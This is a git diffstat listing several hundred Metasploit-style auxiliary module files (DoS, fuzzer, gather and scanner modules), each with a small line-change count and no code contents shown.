modules/auxiliary/analyze/jtr_crack_fast.rb | 6 ++---- modules/auxiliary/analyze/jtr_linux.rb | 6 ++---- modules/auxiliary/analyze/jtr_mssql_fast.rb | 6 ++---- modules/auxiliary/analyze/jtr_mysql_fast.rb | 6 ++---- modules/auxiliary/analyze/jtr_oracle_fast.rb | 6 ++---- modules/auxiliary/analyze/jtr_unshadow.rb | 6 ++---- modules/auxiliary/analyze/postgres_md5_crack.rb | 6 ++---- modules/auxiliary/bnat/bnat_router.rb | 6 ++---- modules/auxiliary/bnat/bnat_scan.rb | 6 ++---- modules/auxiliary/client/smtp/emailer.rb | 6 ++---- modules/auxiliary/crawler/msfcrawler.rb | 6 ++---- modules/auxiliary/docx/word_unc_injector.rb | 4 ++-- modules/auxiliary/dos/cisco/ios_http_percentpercent.rb | 6 ++---- modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb | 6 ++---- modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb | 6 ++---- modules/auxiliary/dos/hp/data_protector_rds.rb | 6 ++---- modules/auxiliary/dos/http/3com_superstack_switch.rb | 6 ++---- modules/auxiliary/dos/http/apache_mod_isapi.rb | 6 ++---- modules/auxiliary/dos/http/apache_range_dos.rb | 6 ++---- .../auxiliary/dos/http/apache_tomcat_transfer_encoding.rb | 6 ++---- modules/auxiliary/dos/http/canon_wireless_printer.rb | 6 ++---- modules/auxiliary/dos/http/dell_openmanage_post.rb | 6 ++---- modules/auxiliary/dos/http/hashcollision_dos.rb | 6 ++---- modules/auxiliary/dos/http/monkey_headers.rb | 6 ++---- modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb | 6 ++---- modules/auxiliary/dos/http/sonicwall_ssl_format.rb | 6 ++---- modules/auxiliary/dos/http/webrick_regex.rb | 6 ++---- modules/auxiliary/dos/mdns/avahi_portzero.rb | 6 ++---- modules/auxiliary/dos/misc/dopewars.rb | 5 ++--- modules/auxiliary/dos/misc/memcached.rb | 6 ++---- modules/auxiliary/dos/ntp/ntpd_reserved_dos.rb | 6 ++---- modules/auxiliary/dos/pptp/ms02_063_pptp_dos.rb | 6 ++---- modules/auxiliary/dos/samba/lsa_addprivs_heap.rb | 6 ++---- modules/auxiliary/dos/samba/lsa_transnames_heap.rb | 6 ++---- modules/auxiliary/dos/samba/read_nttrans_ea_list.rb | 6 ++---- modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb | 4 ++-- modules/auxiliary/dos/scada/beckhoff_twincat.rb | 6 ++---- modules/auxiliary/dos/scada/d20_tftp_overflow.rb | 6 ++---- modules/auxiliary/dos/scada/igss9_dataserver.rb | 6 ++---- modules/auxiliary/dos/smtp/sendmail_prescan.rb | 6 ++---- modules/auxiliary/dos/solaris/lpd/cascade_delete.rb | 6 ++---- modules/auxiliary/dos/ssl/dtls_changecipherspec.rb | 6 ++---- modules/auxiliary/dos/ssl/openssl_aesni.rb | 6 ++---- modules/auxiliary/dos/syslog/rsyslog_long_tag.rb | 6 ++---- modules/auxiliary/dos/tcp/junos_tcp_opt.rb | 6 ++---- modules/auxiliary/dos/tcp/synflood.rb | 6 ++---- modules/auxiliary/dos/upnp/miniupnpd_dos.rb | 5 ++--- modules/auxiliary/dos/wifi/apple_orinoco_probe_response.rb | 6 ++---- modules/auxiliary/dos/wifi/cts_rts_flood.rb | 6 ++---- modules/auxiliary/dos/wifi/deauth.rb | 6 ++---- modules/auxiliary/dos/wifi/fakeap.rb | 6 ++---- modules/auxiliary/dos/wifi/file2air.rb | 6 ++---- modules/auxiliary/dos/wifi/netgear_ma521_rates.rb | 6 ++---- modules/auxiliary/dos/wifi/netgear_wg311pci.rb | 6 ++---- modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb | 6 ++---- modules/auxiliary/dos/wifi/ssidlist_beacon.rb | 6 ++---- modules/auxiliary/dos/wifi/wifun.rb | 6 ++---- modules/auxiliary/dos/windows/appian/appian_bpm.rb | 6 ++---- .../auxiliary/dos/windows/browser/ms09_065_eot_integer.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/solarftp_user.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/titan626_site.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/vicftps50_list.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb | 6 ++---- modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb | 6 ++---- modules/auxiliary/dos/windows/games/kaillera.rb | 6 ++---- modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb | 6 ++---- modules/auxiliary/dos/windows/http/pi3web_isapi.rb | 6 ++---- modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb | 6 ++---- modules/auxiliary/dos/windows/nat/nat_helper.rb | 6 ++---- modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb | 5 ++--- modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb | 6 ++---- modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb | 6 ++---- modules/auxiliary/dos/windows/smb/ms06_063_trans.rb | 6 ++---- modules/auxiliary/dos/windows/smb/ms09_001_write.rb | 6 ++---- .../dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb | 6 ++---- .../dos/windows/smb/ms09_050_smb2_session_logoff.rb | 6 ++---- .../dos/windows/smb/ms10_006_negotiate_response_loop.rb | 6 ++---- .../dos/windows/smb/ms10_054_queryfs_pool_overflow.rb | 6 ++---- modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb | 6 ++---- modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb | 6 ++---- modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb | 6 ++---- modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb | 6 ++---- modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb | 6 ++---- modules/auxiliary/dos/windows/tftp/pt360_write.rb | 6 ++---- modules/auxiliary/dos/windows/tftp/solarwinds.rb | 6 ++---- modules/auxiliary/dos/wireshark/chunked.rb | 6 ++---- modules/auxiliary/dos/wireshark/cldap.rb | 6 ++---- modules/auxiliary/dos/wireshark/ldap.rb | 6 ++---- modules/auxiliary/fuzzers/dns/dns_fuzzer.rb | 6 ++---- modules/auxiliary/fuzzers/ftp/client_ftp.rb | 6 ++---- modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb | 6 ++---- modules/auxiliary/fuzzers/http/http_form_field.rb | 6 ++---- modules/auxiliary/fuzzers/http/http_get_uri_long.rb | 6 ++---- modules/auxiliary/fuzzers/http/http_get_uri_strings.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb_create_pipe.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb_tree_connect.rb | 6 ++---- modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb | 6 ++---- modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/ssh/ssh_version_15.rb | 6 ++---- modules/auxiliary/fuzzers/ssh/ssh_version_2.rb | 6 ++---- modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb | 6 ++---- modules/auxiliary/fuzzers/tds/tds_login_username.rb | 6 ++---- modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb | 6 ++---- modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb | 6 ++---- modules/auxiliary/gather/android_htmlfileprovider.rb | 6 ++---- modules/auxiliary/gather/apache_rave_creds.rb | 6 ++---- modules/auxiliary/gather/apple_safari_webarchive_uxss.rb | 6 ++---- modules/auxiliary/gather/checkpoint_hostname.rb | 6 ++---- modules/auxiliary/gather/citrix_published_applications.rb | 6 ++---- modules/auxiliary/gather/citrix_published_bruteforce.rb | 6 ++---- modules/auxiliary/gather/coldfusion_pwd_props.rb | 5 ++--- modules/auxiliary/gather/corpwatch_lookup_id.rb | 6 ++---- modules/auxiliary/gather/corpwatch_lookup_name.rb | 6 ++---- modules/auxiliary/gather/d20pass.rb | 6 ++---- modules/auxiliary/gather/dns_bruteforce.rb | 4 +--- modules/auxiliary/gather/dns_info.rb | 4 +--- modules/auxiliary/gather/dns_reverse_lookup.rb | 4 +--- modules/auxiliary/gather/dns_srv_enum.rb | 4 +--- modules/auxiliary/gather/eaton_nsm_creds.rb | 5 ++--- modules/auxiliary/gather/enum_dns.rb | 6 ++---- modules/auxiliary/gather/external_ip.rb | 4 ++-- modules/auxiliary/gather/hp_snac_domain_creds.rb | 5 ++--- modules/auxiliary/gather/impersonate_ssl.rb | 6 ++---- modules/auxiliary/gather/natpmp_external_address.rb | 6 ++---- modules/auxiliary/gather/search_email_collector.rb | 6 ++---- modules/auxiliary/gather/shodan_search.rb | 6 ++---- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 6 ++---- modules/auxiliary/gather/xbmc_traversal.rb | 6 ++---- modules/auxiliary/parser/unattend.rb | 6 ++---- modules/auxiliary/pdf/foxit/authbypass.rb | 6 ++---- modules/auxiliary/scanner/afp/afp_login.rb | 6 ++---- modules/auxiliary/scanner/afp/afp_server_info.rb | 6 ++---- modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb | 6 ++---- modules/auxiliary/scanner/couchdb/couchdb_enum.rb | 6 ++---- modules/auxiliary/scanner/couchdb/couchdb_login.rb | 5 ++--- modules/auxiliary/scanner/db2/db2_auth.rb | 6 ++---- modules/auxiliary/scanner/db2/db2_version.rb | 6 ++---- modules/auxiliary/scanner/db2/discovery.rb | 6 ++---- modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb | 6 ++---- modules/auxiliary/scanner/dcerpc/hidden.rb | 6 ++---- modules/auxiliary/scanner/dcerpc/management.rb | 6 ++---- modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb | 6 ++---- .../auxiliary/scanner/dcerpc/windows_deployment_services.rb | 6 ++---- modules/auxiliary/scanner/dect/call_scanner.rb | 6 ++---- modules/auxiliary/scanner/dect/station_scanner.rb | 6 ++---- modules/auxiliary/scanner/discovery/arp_sweep.rb | 6 ++---- modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb | 6 ++---- modules/auxiliary/scanner/discovery/ipv6_neighbor.rb | 6 ++---- .../scanner/discovery/ipv6_neighbor_router_advertisement.rb | 6 ++---- modules/auxiliary/scanner/discovery/udp_probe.rb | 6 ++---- modules/auxiliary/scanner/discovery/udp_sweep.rb | 6 ++---- modules/auxiliary/scanner/emc/alphastor_devicemanager.rb | 6 ++---- modules/auxiliary/scanner/emc/alphastor_librarymanager.rb | 6 ++---- modules/auxiliary/scanner/finger/finger_users.rb | 6 ++---- modules/auxiliary/scanner/ftp/anonymous.rb | 6 ++---- modules/auxiliary/scanner/ftp/ftp_login.rb | 6 ++---- modules/auxiliary/scanner/ftp/ftp_version.rb | 6 ++---- modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb | 6 ++---- modules/auxiliary/scanner/h323/h323_version.rb | 6 ++---- modules/auxiliary/scanner/http/adobe_xml_inject.rb | 6 ++---- .../scanner/http/apache_activemq_source_disclosure.rb | 6 ++---- modules/auxiliary/scanner/http/apache_activemq_traversal.rb | 6 ++---- modules/auxiliary/scanner/http/apache_userdir_enum.rb | 6 ++---- .../auxiliary/scanner/http/atlassian_crowd_fileaccess.rb | 5 ++--- modules/auxiliary/scanner/http/axis_local_file_include.rb | 6 ++---- modules/auxiliary/scanner/http/axis_login.rb | 6 ++---- modules/auxiliary/scanner/http/backup_file.rb | 6 ++---- .../auxiliary/scanner/http/barracuda_directory_traversal.rb | 6 ++---- .../scanner/http/bitweaver_overlay_type_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/blind_sql_query.rb | 6 ++---- modules/auxiliary/scanner/http/brute_dirs.rb | 6 ++---- modules/auxiliary/scanner/http/canon_wireless.rb | 6 ++---- modules/auxiliary/scanner/http/cert.rb | 6 ++---- modules/auxiliary/scanner/http/cisco_device_manager.rb | 6 ++---- modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb | 6 ++---- modules/auxiliary/scanner/http/cisco_ironport_enum.rb | 6 ++---- .../auxiliary/scanner/http/cisco_nac_manager_traversal.rb | 6 ++---- modules/auxiliary/scanner/http/clansphere_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/cold_fusion_version.rb | 6 ++---- .../auxiliary/scanner/http/coldfusion_locale_traversal.rb | 6 ++---- modules/auxiliary/scanner/http/concrete5_member_list.rb | 6 ++---- modules/auxiliary/scanner/http/copy_of_file.rb | 6 ++---- modules/auxiliary/scanner/http/crawler.rb | 6 ++---- modules/auxiliary/scanner/http/dell_idrac.rb | 6 ++---- modules/auxiliary/scanner/http/dir_listing.rb | 6 ++---- modules/auxiliary/scanner/http/dir_scanner.rb | 6 ++---- modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb | 6 ++---- .../auxiliary/scanner/http/dlink_dir_300_615_http_login.rb | 6 ++---- modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb | 6 ++---- .../scanner/http/dlink_dir_session_cgi_http_login.rb | 6 ++---- modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb | 6 ++---- modules/auxiliary/scanner/http/dolibarr_login.rb | 5 ++--- modules/auxiliary/scanner/http/drupal_views_user_enum.rb | 6 ++---- modules/auxiliary/scanner/http/ektron_cms400net.rb | 6 ++---- modules/auxiliary/scanner/http/enum_wayback.rb | 6 ++---- modules/auxiliary/scanner/http/error_sql_injection.rb | 6 ++---- modules/auxiliary/scanner/http/file_same_name_dir.rb | 6 ++---- modules/auxiliary/scanner/http/files_dir.rb | 6 ++---- modules/auxiliary/scanner/http/frontpage_login.rb | 6 ++---- modules/auxiliary/scanner/http/glassfish_login.rb | 6 ++---- .../scanner/http/groupwise_agents_http_traversal.rb | 6 ++---- .../scanner/http/hp_imc_faultdownloadservlet_traversal.rb | 6 ++---- .../scanner/http/hp_imc_ictdownloadservlet_traversal.rb | 6 ++---- .../scanner/http/hp_imc_reportimgservlt_traversal.rb | 6 ++---- .../scanner/http/hp_sitescope_getfileinternal_fileaccess.rb | 5 ++--- .../scanner/http/hp_sitescope_getsitescopeconfiguration.rb | 5 ++--- .../scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb | 5 ++--- modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb | 5 ++--- modules/auxiliary/scanner/http/http_hsts.rb | 5 ++--- modules/auxiliary/scanner/http/http_login.rb | 6 ++---- modules/auxiliary/scanner/http/http_put.rb | 6 ++---- modules/auxiliary/scanner/http/http_traversal.rb | 6 ++---- modules/auxiliary/scanner/http/http_version.rb | 6 ++---- modules/auxiliary/scanner/http/httpbl_lookup.rb | 6 ++---- modules/auxiliary/scanner/http/iis_internal_ip.rb | 6 ++---- modules/auxiliary/scanner/http/infovista_enum.rb | 6 ++---- modules/auxiliary/scanner/http/jboss_vulnscan.rb | 6 ++---- modules/auxiliary/scanner/http/joomla_pages.rb | 6 ++---- modules/auxiliary/scanner/http/joomla_plugins.rb | 6 ++---- modules/auxiliary/scanner/http/joomla_version.rb | 6 ++---- modules/auxiliary/scanner/http/linksys_e1500_traversal.rb | 6 ++---- .../auxiliary/scanner/http/litespeed_source_disclosure.rb | 6 ++---- modules/auxiliary/scanner/http/lucky_punch.rb | 6 ++---- .../scanner/http/majordomo2_directory_traversal.rb | 6 ++---- .../scanner/http/manageengine_deviceexpert_traversal.rb | 5 ++--- .../scanner/http/manageengine_securitymanager_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb | 5 ++--- modules/auxiliary/scanner/http/mod_negotiation_brute.rb | 6 ++---- modules/auxiliary/scanner/http/mod_negotiation_scanner.rb | 6 ++---- .../scanner/http/ms09_020_webdav_unicode_bypass.rb | 6 ++---- modules/auxiliary/scanner/http/netdecision_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb | 6 ++---- modules/auxiliary/scanner/http/nginx_source_disclosure.rb | 6 ++---- .../scanner/http/novell_file_reporter_fsfui_fileaccess.rb | 5 ++--- .../scanner/http/novell_file_reporter_srs_fileaccess.rb | 5 ++--- modules/auxiliary/scanner/http/novell_mdm_creds.rb | 6 ++---- modules/auxiliary/scanner/http/ntlm_info_enumeration.rb | 6 ++---- modules/auxiliary/scanner/http/open_proxy.rb | 6 ++---- modules/auxiliary/scanner/http/options.rb | 6 ++---- modules/auxiliary/scanner/http/owa_login.rb | 6 ++---- modules/auxiliary/scanner/http/prev_dir_same_name_file.rb | 6 ++---- modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb | 5 ++--- modules/auxiliary/scanner/http/rails_mass_assignment.rb | 6 ++---- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 5 ++--- modules/auxiliary/scanner/http/replace_ext.rb | 6 ++---- modules/auxiliary/scanner/http/rewrite_proxy_bypass.rb | 6 ++---- modules/auxiliary/scanner/http/rfcode_reader_enum.rb | 6 ++---- modules/auxiliary/scanner/http/robots_txt.rb | 6 ++---- modules/auxiliary/scanner/http/s40_traversal.rb | 5 ++--- .../scanner/http/sap_businessobjects_user_brute.rb | 6 ++---- .../scanner/http/sap_businessobjects_user_brute_web.rb | 6 ++---- .../auxiliary/scanner/http/sap_businessobjects_user_enum.rb | 6 ++---- .../scanner/http/sap_businessobjects_version_enum.rb | 6 ++---- modules/auxiliary/scanner/http/scraper.rb | 6 ++---- modules/auxiliary/scanner/http/sentry_cdu_enum.rb | 6 ++---- modules/auxiliary/scanner/http/sevone_enum.rb | 6 ++---- .../auxiliary/scanner/http/simple_webserver_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/soap_xml.rb | 6 ++---- modules/auxiliary/scanner/http/sockso_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/splunk_web_login.rb | 6 ++---- modules/auxiliary/scanner/http/sqlmap.rb | 6 ++---- modules/auxiliary/scanner/http/squid_pivot_scanning.rb | 6 ++---- modules/auxiliary/scanner/http/squiz_matrix_user_enum.rb | 6 ++---- modules/auxiliary/scanner/http/ssl.rb | 6 ++---- modules/auxiliary/scanner/http/svn_scanner.rb | 6 ++---- modules/auxiliary/scanner/http/svn_wcdb_scanner.rb | 6 ++---- modules/auxiliary/scanner/http/sybase_easerver_traversal.rb | 6 ++---- .../auxiliary/scanner/http/symantec_brightmail_logfile.rb | 5 ++--- modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 5 ++--- modules/auxiliary/scanner/http/tomcat_enum.rb | 6 ++---- modules/auxiliary/scanner/http/tomcat_mgr_login.rb | 6 ++---- modules/auxiliary/scanner/http/tplink_traversal_noauth.rb | 6 ++---- modules/auxiliary/scanner/http/trace.rb | 6 ++---- modules/auxiliary/scanner/http/trace_axd.rb | 6 ++---- modules/auxiliary/scanner/http/vcms_login.rb | 5 ++--- modules/auxiliary/scanner/http/verb_auth_bypass.rb | 6 ++---- modules/auxiliary/scanner/http/vhost_scanner.rb | 6 ++---- modules/auxiliary/scanner/http/vmware_server_dir_trav.rb | 6 ++---- .../scanner/http/vmware_update_manager_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/wangkongbao_traversal.rb | 6 ++---- modules/auxiliary/scanner/http/web_vulndb.rb | 6 ++---- modules/auxiliary/scanner/http/webdav_internal_ip.rb | 6 ++---- modules/auxiliary/scanner/http/webdav_scanner.rb | 6 ++---- modules/auxiliary/scanner/http/webdav_website_content.rb | 6 ++---- modules/auxiliary/scanner/http/webpagetest_traversal.rb | 5 ++--- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 6 ++---- modules/auxiliary/scanner/http/wordpress_pingback_access.rb | 6 ++---- modules/auxiliary/scanner/http/xpath.rb | 6 ++---- modules/auxiliary/scanner/http/yaws_traversal.rb | 6 ++---- .../scanner/http/zenworks_assetmanagement_fileaccess.rb | 6 ++---- .../scanner/http/zenworks_assetmanagement_getconfig.rb | 6 ++---- modules/auxiliary/scanner/imap/imap_version.rb | 6 ++---- modules/auxiliary/scanner/ip/ipidseq.rb | 6 ++---- modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb | 6 ++---- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 6 ++---- modules/auxiliary/scanner/ipmi/ipmi_version.rb | 6 ++---- modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb | 6 ++---- modules/auxiliary/scanner/lotus/lotus_domino_login.rb | 6 ++---- modules/auxiliary/scanner/lotus/lotus_domino_version.rb | 6 ++---- modules/auxiliary/scanner/misc/cctv_dvr_login.rb | 5 ++--- modules/auxiliary/scanner/misc/dvr_config_disclosure.rb | 6 ++---- modules/auxiliary/scanner/misc/ib_service_mgr_info.rb | 6 ++---- modules/auxiliary/scanner/misc/java_rmi_server.rb | 6 ++---- modules/auxiliary/scanner/misc/oki_scanner.rb | 6 ++---- modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb | 6 ++---- modules/auxiliary/scanner/misc/redis_server.rb | 6 ++---- .../auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb | 6 ++---- modules/auxiliary/scanner/misc/sunrpc_portmapper.rb | 6 ++---- .../auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb | 6 ++---- modules/auxiliary/scanner/mongodb/mongodb_login.rb | 6 ++---- modules/auxiliary/scanner/motorola/timbuktu_udp.rb | 6 ++---- modules/auxiliary/scanner/msf/msf_rpc_login.rb | 6 ++---- modules/auxiliary/scanner/msf/msf_web_login.rb | 6 ++---- modules/auxiliary/scanner/mssql/mssql_hashdump.rb | 6 ++---- modules/auxiliary/scanner/mssql/mssql_login.rb | 6 ++---- modules/auxiliary/scanner/mssql/mssql_ping.rb | 6 ++---- modules/auxiliary/scanner/mssql/mssql_schemadump.rb | 6 ++---- .../auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb | 6 ++---- modules/auxiliary/scanner/mysql/mysql_file_enum.rb | 6 ++---- modules/auxiliary/scanner/mysql/mysql_hashdump.rb | 6 ++---- modules/auxiliary/scanner/mysql/mysql_login.rb | 6 ++---- modules/auxiliary/scanner/mysql/mysql_schemadump.rb | 6 ++---- modules/auxiliary/scanner/mysql/mysql_version.rb | 6 ++---- modules/auxiliary/scanner/natpmp/natpmp_portscan.rb | 6 ++---- modules/auxiliary/scanner/nessus/nessus_ntp_login.rb | 6 ++---- modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb | 6 ++---- modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb | 6 ++---- modules/auxiliary/scanner/netbios/nbname.rb | 6 ++---- modules/auxiliary/scanner/netbios/nbname_probe.rb | 6 ++---- modules/auxiliary/scanner/nexpose/nexpose_api_login.rb | 6 ++---- modules/auxiliary/scanner/nfs/nfsmount.rb | 6 ++---- modules/auxiliary/scanner/ntp/ntp_monlist.rb | 6 ++---- modules/auxiliary/scanner/ntp/ntp_readvar.rb | 6 ++---- modules/auxiliary/scanner/openvas/openvas_gsad_login.rb | 6 ++---- modules/auxiliary/scanner/openvas/openvas_omp_login.rb | 6 ++---- modules/auxiliary/scanner/openvas/openvas_otp_login.rb | 6 ++---- modules/auxiliary/scanner/oracle/emc_sid.rb | 6 ++---- modules/auxiliary/scanner/oracle/isqlplus_login.rb | 6 ++---- modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb | 6 ++---- modules/auxiliary/scanner/oracle/oracle_hashdump.rb | 6 ++---- modules/auxiliary/scanner/oracle/oracle_login.rb | 6 ++---- modules/auxiliary/scanner/oracle/sid_brute.rb | 6 ++---- modules/auxiliary/scanner/oracle/sid_enum.rb | 6 ++---- modules/auxiliary/scanner/oracle/spy_sid.rb | 6 ++---- modules/auxiliary/scanner/oracle/tnslsnr_version.rb | 6 ++---- modules/auxiliary/scanner/oracle/xdb_sid.rb | 6 ++---- modules/auxiliary/scanner/oracle/xdb_sid_brute.rb | 6 ++---- modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb | 6 ++---- modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb | 6 ++---- modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb | 6 ++---- modules/auxiliary/scanner/pop3/pop3_login.rb | 6 ++---- modules/auxiliary/scanner/pop3/pop3_version.rb | 6 ++---- modules/auxiliary/scanner/portscan/ack.rb | 6 ++---- modules/auxiliary/scanner/portscan/ftpbounce.rb | 6 ++---- modules/auxiliary/scanner/portscan/syn.rb | 6 ++---- modules/auxiliary/scanner/portscan/tcp.rb | 6 ++---- modules/auxiliary/scanner/portscan/xmas.rb | 6 ++---- .../scanner/postgres/postgres_dbname_flag_injection.rb | 6 ++---- modules/auxiliary/scanner/postgres/postgres_hashdump.rb | 6 ++---- modules/auxiliary/scanner/postgres/postgres_login.rb | 6 ++---- modules/auxiliary/scanner/postgres/postgres_schemadump.rb | 6 ++---- modules/auxiliary/scanner/postgres/postgres_version.rb | 6 ++---- modules/auxiliary/scanner/rdp/ms12_020_check.rb | 5 ++--- modules/auxiliary/scanner/rogue/rogue_recv.rb | 6 ++---- modules/auxiliary/scanner/rogue/rogue_send.rb | 6 ++---- modules/auxiliary/scanner/rservices/rexec_login.rb | 6 ++---- modules/auxiliary/scanner/rservices/rlogin_login.rb | 6 ++---- modules/auxiliary/scanner/rservices/rsh_login.rb | 6 ++---- .../scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb | 4 ++-- .../auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_icf_public_info.rb | 5 ++--- modules/auxiliary/scanner/sap/sap_icm_urlscan.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb | 6 ++---- .../auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb | 6 ++---- .../auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb | 5 ++--- .../scanner/sap/sap_mgmt_con_getprocessparameter.rb | 6 ++---- .../scanner/sap/sap_mgmt_con_instanceproperties.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_router_info_request.rb | 4 ++-- modules/auxiliary/scanner/sap/sap_router_portscanner.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_service_discovery.rb | 6 ++---- modules/auxiliary/scanner/sap/sap_smb_relay.rb | 4 ++-- modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb | 5 ++--- modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb | 5 ++--- .../sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb | 5 ++--- .../scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb | 5 ++--- .../scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb | 4 ++-- .../scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb | 4 ++-- modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb | 5 ++--- modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb | 5 ++--- modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb | 4 ++-- .../scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb | 5 ++--- .../scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 5 ++--- .../auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb | 5 ++--- modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb | 5 ++--- .../auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb | 5 ++--- modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb | 5 ++--- modules/auxiliary/scanner/scada/digi_addp_reboot.rb | 6 ++---- modules/auxiliary/scanner/scada/digi_addp_version.rb | 6 ++---- .../scanner/scada/digi_realport_serialport_scan.rb | 6 ++---- modules/auxiliary/scanner/scada/digi_realport_version.rb | 6 ++---- .../scanner/scada/indusoft_ntwebserver_fileaccess.rb | 5 ++--- modules/auxiliary/scanner/scada/koyo_login.rb | 6 ++---- modules/auxiliary/scanner/scada/modbus_findunitid.rb | 5 ++--- modules/auxiliary/scanner/scada/modbusclient.rb | 5 ++--- modules/auxiliary/scanner/scada/modbusdetect.rb | 5 ++--- modules/auxiliary/scanner/scada/sielco_winlog_fileaccess.rb | 6 ++---- 